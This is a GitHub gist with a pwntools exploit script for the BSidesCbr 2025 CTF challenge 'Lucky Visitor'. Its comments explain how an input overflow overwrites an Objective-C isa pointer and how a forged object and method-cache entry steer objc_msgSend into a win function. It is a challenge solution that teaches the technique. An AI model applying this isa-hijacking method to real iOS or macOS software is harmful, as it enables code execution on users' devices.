Skip to content

Instantly share code, notes, and snippets.

@ninjaprawn
Last active September 27, 2025 07:38
Show Gist options
  • Select an option

  • Save ninjaprawn/2c22a32345ba6d43406a815abffc1e16 to your computer and use it in GitHub Desktop.

Select an option

Save ninjaprawn/2c22a32345ba6d43406a815abffc1e16 to your computer and use it in GitHub Desktop.
BSidesCbr 2025 - Lucky Visitor
from pwn import remote
from pwn import p64, p32
DEVICE_ID = ''
conn = remote('c.sk8.dog', 30001)
conn.send(f'CONNECT challenge.{DEVICE_ID}:1337 HTTP/1.1\n\n'.encode())
[conn.recvline() for _ in range(3)] # consume HTTP response status line / headers
win_line = conn.recvline()
win_addr = win_line.split(b"number ")[1].split(b"!")[0]
addr_addr = 0x10000c018
real_win = 0x100004000
offset_from_win_to_addr = addr_addr - real_win
slid_addr_addr = int(win_addr) + offset_from_win_to_addr
print(f"Slid address of 'address': {hex(slid_addr_addr)}")
# break on objc_release just before objc_msgSend
print(f"break set -a 0x1990b1d98 -c \"$x0 == {hex(slid_addr_addr)}\"")
# break on objc_msgSend on the critical cmp
print(f"break set -a 0x1990b0d6c -c \"$x0 == {hex(slid_addr_addr)}\"")
conn.recvuntil(b"? ") # Fruit prompt,
# Overflow from fruit into iphone->isa, and point it to the 'address' address and construct fake isa
conn.sendline(b"A"*20 + p64(slid_addr_addr) + b"\x00"*4)
conn.recvuntil(b"? ")
print("Sending fakeobj")
"""
Once we replace the isa pointer, we will get an objc_release call on the object. We want to get to an objc_msgSend, which will call "release" on the object.
libobjc.A.dylib`objc_release:
0x1990b1d18 <+8>: ldxr x8, [x0]
0x1990b1d1c <+12>: and x9, x8, #0xffffffff8
0x1990b1d20 <+16>: ldrb w10, [x9, #0x20]
0x1990b1d24 <+20>: tbz w10, #0x2, 0x1990b1d74 ; <+100>
...
0x1990b1d74 <+100>: clrex
0x1990b1d78 <+104>: ldrsh w8, [x9, #0x1c]
0x1990b1d7c <+108>: tbz w8, #0x1f, 0x1990b1d90 ; <+128>
0x1990b1d80 <+112>: ldrb w8, [x9, #0x20]
0x1990b1d84 <+116>: tbz w8, #0x1, 0x1990b1d90 ; <+128>
0x1990b1d88 <+120>: ldrb w8, [x9, #0x28]
0x1990b1d8c <+124>: tbnz w8, #0x1, 0x1990b1dbc ; <+172>
0x1990b1d90 <+128>: adrp x8, 12372
0x1990b1d94 <+132>: add x1, x8, #0xc52 ; =0xc52
0x1990b1d98 <+136>: b 0x1990b0ce0 ; objc_msgSend
In order to pass these checks, we need the following:
x9 = (*address & 0xffffffff8)
*(x9+0x20) & 4 == 0
*(x9+0x20) & 2 == 0
Set a breakpoint on objc_release+136 after lldb attaches, like so (offset of objc_release may be diff in your lldb, where second address the slid address printed out):
> break set -a 0x1990b1d98 -c "$x0 == 0x1044a8018"
Breakpoint 1: where = libobjc.A.dylib`objc_release + 136, address = 0x00000001990b1d98
In order to pass the check:
First pointer value in the fake object should point to somewhere in the controlled address buffer
That address + 0x20 should be 0
"""
"""
Now, we need to construct the object so we call the win function. If not familiar with ObjC:
- objc_msgSend is the underlying function to call methods at runtime. method names are called 'selectors'.
- The isa struct/class has a cache, where if the passed in selector is in the cache, it will directly call the function pointer stored.
So we need to populate the correct offsets with the correct values to call win.
First, at the breakpoint, inspecting x1 will reveal its a pointer to a string called 'release'. This is our selector. We'll see how it's used later on.
If you disassemble objc_msgSend, you'll see there are two `br x17` calls. We want to get to the second one at +156 (the first one has math which I don't believe you can succeed in to get to the call).
First, we need to get to that area. Theres a branch to +112:
libobjc.A.dylib`objc_msgSend:
0x1990b0ce0 <+0>: cmp x0, #0x0 ; =0x0
0x1990b0ce4 <+4>: b.le 0x1990b0d8c ; <+172>
0x1990b0ce8 <+8>: ldr x13, [x0]
0x1990b0cec <+12>: and x16, x13, #0xffffffff8
0x1990b0cf0 <+16>: mov x15, x16
0x1990b0cf4 <+20>: ldr x11, [x16, #0x10]
0x1990b0cf8 <+24>: and x10, x11, #0xfffffffffffe
0x1990b0cfc <+28>: tbnz w11, #0x0, 0x1990b0d50 ; <+112>
To succeed this check:
x13 = (*address) //(note that x0 wasn't modified by objcRelease)
x15 = x16 = x13 & 0xffffffff8
x11 = *(x16+0x10)
x10 = x11 & 0xfffffffffffe
x11 & 1 == 1
So we need to make sure we add 1 to whatever value is at address+0x10.
0x1990b0d50 <+112>: adrp x9, 10228
0x1990b0d54 <+116>: add x9, x9, #0x6d2 ; =0x6d2
0x1990b0d58 <+120>: sub x12, x1, x9
0x1990b0d5c <+124>: lsr x17, x11, #48
0x1990b0d60 <+128>: lsr w9, w12, w17
0x1990b0d64 <+132>: and x9, x9, x11, lsr #53
0x1990b0d68 <+136>: ldr x17, [x10, x9, lsl #3]
0x1990b0d6c <+140>: cmp x12, x17, lsr #38
0x1990b0d70 <+144>: b.ne 0x1990b0d80 ; <+160>
0x1990b0d74 <+148>: sbfiz x17, x17, #2, #38
0x1990b0d78 <+152>: sub x17, x16, x17
0x1990b0d7c <+156>: br x17
Now we get to the selector cache check. The first bit will put an instruction-releative address in x9, then subtract it from x9. Since both are in the same memory block (dyld_shared_cache), this will "remove" any ASLR.
x12 will essentially be an offset from a specific address (seems to be the start of a list of selectors, but it doesn't matter that much)
Remember that x11 is a value we control. The code looks like this:
x12 = x9 - <fixed location> //offset
x17 = x11 >> 48
w9 = w12 >> w17
x9 = x9 & (x11>>53)
x17 = *(x10 + x9) // remembering that x10 is essentially *((*addr)+0x10) - 1
x12 == (x17 >> 38)
We need to pass the final condition to hit the branch x17. First, we need to know what x12 is, which can be found via debugging and breaking after the sub:
(lldb) reg read x12
x12 = 0x0000000000861580
Now we need the x17 read to go through. Consider that we control x11/x10. The highest 2 bytes are used for that calculation. If we ensure that x11 >> 53 == 0, then we guarantee x9 can be 0.
But x10 is a read, which will go somewhere in our address buffer. Since the address is way lower than 1<<48, we effectively bypass this check when we supply the address.
So in summary, x10, which is '*(addr+0x10) - 1', needs to be a valid pointer into our fake object, where the value of which is 0x0861580 << 38.
There are then two instructions before the branch:
0x1990b0d74 <+148>: sbfiz x17, x17, #2, #38
0x1990b0d78 <+152>: sub x17, x16, x17
0x1990b0d7c <+156>: br x17
The first will shift x17 2 bits, then extract the bottom 38 bits. This is a neat trick since the bits above 38 are used for the selector 'key', so we can use the remaining bits for an offset.
This extracted value is subtracted from x16, which is the pointer in *address. So in order to set this to the win function (which is located above the address variable), we supply the offset from the win function, and shift it right by 2 bits.
"""
release_selector_val = 0x0000000000861580
fakeobj = p64(slid_addr_addr)
fakeobj += p64((release_selector_val << 38) + (offset_from_win_to_addr >> 2)) # Selector + offset, as mentioned above
fakeobj += p64((slid_addr_addr+0x8) | 1) # +0x10, need the 1 bit set to 1. Point this to addr+8, which contains the selector value and the function offset
fakeobj += b"\x00"*(0x20 - len(fakeobj)) # pad to the check value
fakeobj += p64(0) # value check to get to objc_msgSend
# Fill out the remainder with zeros
fakeobj += b"\x00"*(0x40-len(fakeobj))
conn.sendline(fakeobj)
print(conn.recvline())
print(conn.recvline())
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment